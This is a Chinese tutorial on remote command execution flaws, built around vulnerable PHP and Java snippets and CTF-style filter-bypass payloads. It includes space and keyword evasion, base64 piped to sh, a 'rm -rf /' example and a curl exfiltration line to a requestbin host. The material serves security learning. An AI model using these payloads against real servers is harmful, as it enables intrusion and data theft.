远程命令执行漏洞原理,以及防护绕过方式

一、背景

RCE(Remote Command /Code Execute) 远程代码执行漏洞
通过PHP代码注入、Java代码注入等方式连接程序中预留的后门或接口从而进行远程命令执行,达到对服务器的控制。
为什么会出现远程代码执行漏洞呢?
Web应用有时需要调用执行一些系统命令函数,比如:用户想通过Web页面输入命令,测试系统与www.xxx.com是否可以正常连接,那么Web应用底层就可能去调用系统操作命令“ping”,如果此处Web程序没有过滤好用户输入的命令时,就很可能会形成系统命令执行漏洞。

远程管理工具需要执行系统命令:我们通常使用远程管理工具链接服务器进行服务器远程管理和控制服务器的软件。如果这些工具存在漏洞,那么攻击者可以利用它来执行一些远程命令并获取对目标系统的控制权。

二、远程命令执行原理

2.1 如果没有进行过滤的远端命令执行

远程命令执行,指用户通过浏览器或者远程攻击提交执行命令,由于服务器端,没有针对执行函数做过滤,就执行了恶意命令。
比如Java代码,我们来演示一下远程代码执行漏洞:

import java.io.IOException;
import java.util.Scanner;
public class CommandRunner {
    public static void main(String[] args) throws IOException {
        Scanner scanner = new Scanner(System.in);
        String command = scanner.nextLine();
        Runtime.getRuntime().exec(command); // 潜在的远程代码执行漏洞
    }
}

上述代码中,程序使用Scanner类获取用户输入的命令,并使用Runtime类的exec()方法来执行该命令。然而,这里存在一个潜在的远程代码执行漏洞。如果应用程序没有对用户输入进行正确的验证和过滤,攻击者可以通过输入恶意命令来执行任意代码。

举个例子,如果用户输入ls -a,程序将执行ls -a命令来列出目录中的所有文件和文件夹。然而,如果用户输入的是rm -rf /,则相当于执行了一个删除操作,可能导致系统数据的丢失。

在Web端比较常见的PHP语言开发的系统中,如果使用了PHP的危险函数和语句(system、exec、shell_exec、passthru、popen、``、eval、assert、preg_replace、call_user_func、array_map、动态函数)经过构造后可以用字符串或是PHP代码执行系统命令的特性,从而调用这些函数实现远程代码执行,达到对服务器的控制。

2.2 对过滤进行绕过

此时我们就要参考进行命令替换了,首先我们先认识一下多个命令执行的逻辑,以Linux系统为例如下图:

符号例子解释
;A;B无论A执行成功与否都会执行B
&A&BA后台执行;A、B同时执行
&&A&&BA执行成功后才能执行B

在这里插入图片描述
其次Linux中查看和执行的命令
在这里插入图片描述
常见的查看命令
在这里插入图片描述

如果关键字符串被拦截,应该怎么绕过呢?
空格被过滤
%09(tab键的URL编码) ${IFS} 替换空格键

过滤字符串
可使用通配符 *(任意长度的字符串) ?(替换一个字符) []
比如我们要查看flag文件,我们可以使用如下绕过方式,但是过滤了flag字符串:
cat [e-g]lag
cat *lag
cat ?lag

过滤分号
; | || & &&

过滤cat
tac nl more …

过滤空格
%09(tab键url编码)${IFS} $IFS$9 <

过滤字符串
通配符
f* fla? [e-g]la[a-g]
插入符号
fl’'ag fl""ag f\lag
或者使用base64编码
Y2F0IGZsYWcucGhw就是用base64加密的cat flag.php
cat通过Base64编码需要执行
echo$IFS 1 Y 2 F 0 I G Z s Y W c u c G h w ∣ b a s e 64 1Y2F0IGZsYWcucGhw|base64 1Y2F0IGZsYWcucGhwbase64IFS$1-d|sh

三、远程命令执行例子

接下来我们通过PHP函数,来演示存在的远程命令执行漏洞

3.1 无任何过滤的远程执行函数

<?php
if(isset($_GET['c'])){
	$c=$_GET['c'];
     system($c)
     }
?>

该实例无任何拦截,可以执行任何通过url传入的Linux命令

3.2 执行结果无返回

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

分析 主要是 可以构造c命令,但是使用的是system命令,但是注意 如果直接构造?c=ls 就会构造成 ls>/dev/null 2>&1 表示命令执行将结果不显示,怎么办呢?构造命令执行 ?c=ls;pwd 就会构造成 ls;pwd>/dev/null 2>&1 即将pwd结果扔进垃圾桶,ls正常执行和回显

3.3 过滤特殊字符

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这里面主要对输入命令c进行了过滤,不能存在分号;(可以使用||分割命令,或者使用&(url中传入命令执行需要将&转义URLEncode%26))和cat(可以使用tac或者使用ca\t 等等) ,其余原理同上题?c=ls||pwd 命令查询所有文件,然后不能用cat 可以使用tac 倒叙查看flag.php 文件


<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }else{
        echo 'error!';
    }
}else{
    highlight_file(__FILE__);
}

原理同上,不过这里面过滤了flag关键字,使用tac flag.php将会不执行,可以使用通配符 tac fla*.php

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

原理同上,这里增加过滤了空格 可以使用$IFS$9 进行代替

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

同上,这里面增加了数字和$不能过滤和*通配符(可以用?通配符),c=tac<>?lag.php||pwd 使用了绕过

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "
".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

这道题过滤关键字特别多?c=ca\t{$IFS}fl?g.php 通过这样的命令进行绕过,因为他没有将结果扔进黑洞,所以不需要命令连接符

这是一道pikachu靶场提供了测试域名/IP的 Ping 功能(命令执行漏洞模块),通过信息收集,我们得知其对命令的过滤条件
/?ip=
PING 1.1.1.1 (1.1.1.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}
?>

通过代码分析发现对通配符和空格编码进行了过滤,并且"/.*f.*l.a.g./"这种正则匹配对直接构造flag以及使用通配符都无效,因为对也进行了过滤,我们可以采用变量命名方式,构造两个变量 a和b,如:?ip=1.1.1.1;b=ag;a=fl;cat$IFS 9 9 9a$b.php

3.4 执行命令没有回显

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    exec($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

这里函数使用的exec进行远程命令执行,这个执行结果是没有回显,如果要读取特定文件flag,怎么办?考虑将结果写入另一个文件,然后单独访问这个文件,首先是这个系统是有写入权限的,或者外带数据。
比如写入另一个文件中,操作如下执行 cat flag.php > 123.txt 即可将结果写入123.txt文件中,然后通过 ?c=ls > 123.txt 即将结果写入道123.txt文件中,然后反问123.txt即可获取内容。
比如使用外带 通过https://requestbin.net/这个外带平台,但是get传参数会有长度限制?c=curl http://http.requestbin.buuoj.cn/xxx?c=ls|sed -n "1,5p"|base64 将结果显示只显示1~5行然后通过base64编码结果

四、典型案例

远程命令执行的漏洞危害特别大,已进行暴露出来的远程执行漏洞,比如:
log4j命令执行(CVE-2017-5645): 是 Apache Log4j 服务器的一个反序列化命令执行漏洞,攻击者可以利用这个漏洞通过发送精心制作的请求,远程执行命令,从而危及服务器的安全。

pache Struts漏洞(CVE-2017-5638):这是一个非常著名的RCE漏洞案例,影响了Apache Struts框架。攻击者可以通过发送恶意的HTTP请求利用该漏洞,执行任意代码并获取服务器的控制权。这个漏洞被广泛利用,导致了多个大规模数据泄露事件。

Microsoft Windows SMB漏洞(MS17-010):这是一个影响微软Windows操作系统的RCE漏洞。攻击者可以通过发送特制的SMB请求,利用该漏洞在远程系统上执行任意代码。这个漏洞被用于传播WannaCry勒索软件,造成了全球范围内的大规模攻击和数据损失。

Drupal漏洞(CVE-2018-7600):这是一个影响Drupal内容管理系统的RCE漏洞。攻击者可以通过发送特制的请求,利用该漏洞执行任意代码,并获取网站服务器的控制权。这个漏洞被广泛利用,导致了许多Drupal网站被入侵和操纵。

Apache Tomcat漏洞(CVE-2020-1938):这是一个影响Apache Tomcat服务器的RCE漏洞。攻击者可以通过发送特制的请求,利用该漏洞执行任意代码,并获取服务器的控制权。这个漏洞被称为“Ghostcat”,影响了许多Tomcat服务器。

Jenkins漏洞(CVE-2018-1000861):这是一个影响Jenkins持续集成工具的RCE漏洞。攻击者可以通过发送特制的请求,利用该漏洞在受影响的Jenkins服务器上执行任意代码。这个漏洞被广泛利用,导致了许多Jenkins服务器被入侵和滥用。

五、总结

今天分享了远程执行指令的原理和如何进行远程执行指令漏洞的利用和绕过方法,远程命令执行的漏洞危害性特别大,攻击者可以利用远程命令执行漏洞给运营团队带来如下一些危害:继承Web服务程序的权限去执行系统命令或读写文件、反弹shell、控制整个网站甚至服务器、进一步内网渗透。在防御的过程我们可以通过加强对用户输入的验证:比如限制输入内容,其次,采用最小权限原则,将程序运行权限限制在最低限度。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/176250.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

YOLOv5 环境搭建

YOLOv5 环境搭建 flyfish 环境 Ubuntu20.04 驱动、CUDA Toolkit、cuDNN、PyTorch版本对应 1 NVIDIA驱动安装 在[附加驱动界]面安装驱动时&#xff0c;需要输入安全密码&#xff0c;需要记下&#xff0c;后面还需要输入这个密码 重启之后有的机器会出现 perform mok manage…

C2039 编译clr工程报错

在编译clr工程的时候出现错误 错误提示如下 出现上述情况的代码文件 crl头文件VideoPlayerCLRDLL.h 被crl引用的头文件PlayerEnterPort.h 在上述情况下&#xff0c;编译clr工程会编译opengl_player.h头文件中的内容&#xff0c;但在clr工程中不认识std::mutex&#xff0c…

设计模式篇---外观模式

文章目录 概念结构实例总结 概念 外观模式&#xff1a;为子系统中的一组接口提供一个统一的入口。外观模式定义了一个高层接口&#xff0c;这个接口使得这一子系统更加容易使用。 外观模式引入了一个新的外观类&#xff0c;它为多个业务类的调用提供了一个统一的入口。主要优点…

Leetcode—8.字符串转换整数(atoi)【中等】

2023每日刷题&#xff08;三十七&#xff09; Leetcode—8.字符串转换整数&#xff08;atoi&#xff09; 算法思想 参考k神的题解 实现代码 int myAtoi(char* s) {int len strlen(s);if(len 0) {return 0;}int boundary INT_MAX / 10;int i 0, ans 0;while(s[i] ) …

Java异常处理机制

Java异常处理机制 一、异常概述与异常体系结构异常概述Error示例代码&#xff1a;Exception示例代码&#xff1a;异常体系结构Error和Exception的区别:异常分类检查异常非检查异常Why:为什么有非检查异常&#xff1f;Where:非检查异常有哪些&#xff1f;Exception异常划分运行时…

京东商品详情数据接口(JD.item_get)

京东商品详情数据接口是京东开放平台提供的一种API接口&#xff0c;通过调用该接口&#xff0c;开发者可以获取京东商品的标题、价格、库存、月销量、总销量、库存、详情描述、图片等详细信息。该接口的主要作用是帮助开发者获取商品的详细数据&#xff0c;从而更好地了解和分析…

【顺序表的应用-通讯录的实现】

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 目录 前言 一、顺序表的应用 1. 基于动态顺序表实现通讯录 1、功能要求 2、代码实现 二、通讯录的代码实现 1.通讯录的底层结构(顺序表) (1)思路展示 (2)底层代码实现(顺序表…

灾备建设中,跨主机集群恢复技术应用

在介绍跨主机集群恢复之前&#xff0c;要了解到虚拟化主机集群是什么&#xff1f; 虚拟化主机集群是一种把一组主机组合起来形成一个整体&#xff0c;向用户提供资源方式&#xff08;计算存储、存储资源、网络资源&#xff09;的技术。 虚拟化集群具有以下特性&#xff1a; …

Sublime Text 3运行 Python文件出现中文打印乱码的解决方式

很多小伙伴在下载安装好sublime这个编辑器后发现&#xff0c;它虽然能够用来打开python脚本和创建文件编写代码&#xff0c;但是却不能够来运行python代码和程序。所以下面这一篇文章就是会来分享一下&#xff0c;sublime编辑器无法运行python的解决方法&#xff0c;感兴趣的话…

代码随想录算法训练营第四十三天【动态规划part05】 | 1049. 最后一块石头的重量 II、494. 目标和、474.一和零

1049. 最后一块石头的重量 II 题目链接&#xff1a; 力扣&#xff08;LeetCode&#xff09;官网 - 全球极客挚爱的技术成长平台 求解思路&#xff1a; 等于把石头尽量分成重量相同的两堆 动规五部曲 确定dp数组及其下标含义&#xff1a;容量为j的背包&#xff0c;最多能装…

CountDownLatch和CyclicBarrier

JUC&#xff08;Java.util.concurrent&#xff09;是Java 5中引入的一个并发编程库&#xff0c;它包含了许多用于多线程处理的工具类和接口。JUC主要提供了以下特性&#xff1a; 线程池&#xff1a;线程池可以提高线程的使用效率&#xff0c;避免频繁地创建和销毁线程&#xff…

微信小程序开发者工具] ? Enable IDE Service (y/N) ESC[27DESC[27C

在HBuilder运行微信小程序开发者工具报错 如何解决 打开微信小程序开发者工具打开设置--->安全设置--->服务器端口选择打开就可以啦

【word技巧】Word制作试卷,ABCD选项如何对齐?

使用word文件制作试卷&#xff0c;如何将ABCD选项全部设置对齐&#xff1f;除了一直按空格或者Tab键以外&#xff0c;还有其他方法吗&#xff1f;今天分享如何将ABCD选项对齐。 首先&#xff0c;我们打开【替换和查找】&#xff0c;在查找内容输入空格&#xff0c;然后点击全部…

【机器学习】贝叶斯分类器

贝叶斯分类器是一种概率模型&#xff0c;利用贝叶斯公式来解决分类问题。假设样本的特征向量服从一定的概率分布&#xff0c;我们就可以计算出该特征向量属于各个类的条件概率。分类结果是条件概率最大的分类结果。如果假设特征向量的每个分量彼此独立&#xff0c;则它是朴素贝…

Postgresql源码(116)提升子查询案例分析

0 总结 对于SQL&#xff1a;select * from student, (select * from score where sno > 2) s where student.sno s.sno; pullup在pull_up_subqueries函数内递归完成&#xff0c;分几步&#xff1a; 将内层rte score追加到上层rtbable中&#xff1a;rte1是student、rte2带…

汽车智能座舱/智能驾驶SOC -2

第二篇&#xff08;笔记&#xff09;。 未来智能汽车电子电气将会是集中式架构&#xff08;车载数据中心&#xff09;虚拟化技术&#xff08;提供车载数据中心灵活性和安全性&#xff09;这个几乎是毋庸置疑的了。国际大厂也否纷纷布局超算芯片和车载数据中心平台。但是演进需…

向上转型 向下转型 重写 多态 ---java

目录 一. 向上转型 1.1 概念 1.2 语法格式 1.3 动态绑定引入 1.4 重写的引入 1.5向上转型的使用方式 方式一: 直接赋值 方式二: 通过传参,进行向上转型(多态引入) 方法三:通过返回值, 进行向上转型 二. 重写 2.1 概念 2.2 重写的格式 2.3 重写的规则 【重写和重…

【Spring篇】Spring注解式开发

本文根据哔哩哔哩课程内容结合自己自学所得&#xff0c;用于自己复习&#xff0c;如有错误欢迎指正&#xff1b; 我在想用一句话激励我自己努力学习&#xff0c;却想不出来什么惊为天人、精妙绝伦的句子&#xff0c;脑子里全是上课老师想说却没想起的四个字 “ 唯手熟尔 ”&am…

微服务开发中,使用AOP和自定义注解实现对权限的校验

一、背景 微服务开发中&#xff0c;暴露在外网的接口&#xff0c;为了访问的安全&#xff0c;都是需要在http请求中传入登录时颁发的token。这时候&#xff0c;我们需要有专门用来做校验token并解析用户信息的服务。如下图所示&#xff0c;http请求先经过api网关&#xff0c;网…

渗透工具---BurpSuite 插件开发之HelloWorld

本文主要记录如何利用burp官方的新版API即MontoyaApi 写helloworld&#xff08;上一篇的demo使用旧版api写的&#xff0c;这篇及后续开发将采用新版api&#xff09; 先看效果图 更多详细内容见下方 这里有更详细更全面的代码内容 以及配置相关的内容 https://mp.weixin.qq.co…